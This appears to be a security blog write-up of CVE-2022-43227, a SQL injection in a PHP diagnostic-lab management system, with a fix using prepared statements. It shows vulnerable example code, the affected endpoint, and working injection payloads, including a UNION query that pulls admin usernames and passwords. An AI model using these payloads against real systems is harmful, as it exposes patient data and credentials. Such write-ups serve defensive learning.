When managing sensitive medical information online, security must be a top priority. However, many healthcare applications still carry critical vulnerabilities. One example is CVE-2022-43227, a SQL injection flaw that was discovered in the Online Diagnostic Lab Management System (ODLMS) version 1.. In this long read, we’ll break down how this vulnerability happens, show the affected code and endpoint, and demonstrate how an attacker can exploit it. Let's dive in.

What is CVE-2022-43227?

CVE-2022-43227 is a critical SQL injection vulnerability found in ODLMS v1., a popular PHP-based web application used by diagnostic labs to manage appointments, patient information, and test results. The flaw allows attackers to craft a request that tampers with the SQL query by injecting malicious code through the id parameter at:

/odlms/admin/?page=appointments/view_appointment

How Does the Vulnerability Work?

SQL injection (SQLi) happens when an application inserts user input directly into a SQL query without properly sanitizing it. This lets hackers run arbitrary SQL against the database, potentially exposing or destroying data.

Let’s say this is the PHP code behind the view_appointment page (example, simplified for clarity)

// appointments/view_appointment.php
$id = $_GET['id']; // No input sanitization
$query = "SELECT * FROM appointments WHERE id = '$id'";
$result = mysqli_query($conn, $query); // Directly inserts user input

The problem: $id comes straight from the user’s GET request. If someone sends malicious SQL as the id value, it’ll be included in the database query.

A normal request looks like

http://example.com/odlms/admin/?page=appointments/view_appointment&id=10

But nothing stops you from entering

http://example.com/odlms/admin/?page=appointments/view_appointment&id=10' OR '1'='1

This turns the SQL into

SELECT * FROM appointments WHERE id = '10' OR '1'='1'

Since '1'='1' is always true, the query returns all appointments instead of just the one with ID 10.

3. Data Leakage

Depending on the permissions, the attacker can extract any record. With more complex payloads, they could enumerate table names, extract admin passwords, or even delete data.

Suppose the table admins exists. The attacker could try

http://example.com/odlms/admin/?page=appointments/view_appointment&id=10' UNION SELECT 1,username,password,4,5 FROM admins-- -

This would trick the application into showing admin usernames and hashed passwords (if the page prints all columns).

How To Fix It

1. Use Prepared Statements: Always use parameterized queries instead of inserting user data directly.
2. Validate and Sanitize Input: Only allow numeric IDs using functions like intval() or SQL ORM parameterization.

Fixed Code Example

$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM appointments WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

Here, only integers are allowed, and user input doesn’t affect the query structure.

References

- CVE Entry: https://nvd.nist.gov/vuln/detail/CVE-2022-43227
- Exploit Database PoC: https://www.exploit-db.com/exploits/50911
- Mitigation: OWASP SQL Injection Prevention Cheat Sheet

Conclusion

CVE-2022-43227 is a classic example of how overlooked input validation can put sensitive healthcare data at risk. If you're running ODLMS, patch and update it immediately, and always use secure SQL handling practices. Attackers look for these simple vulnerabilities every day—you don’t want to be an easy target.

Timeline

Published on: 11/02/2022 17:15:00 UTC
Last modified on: 11/03/2022 03:35:00 UTC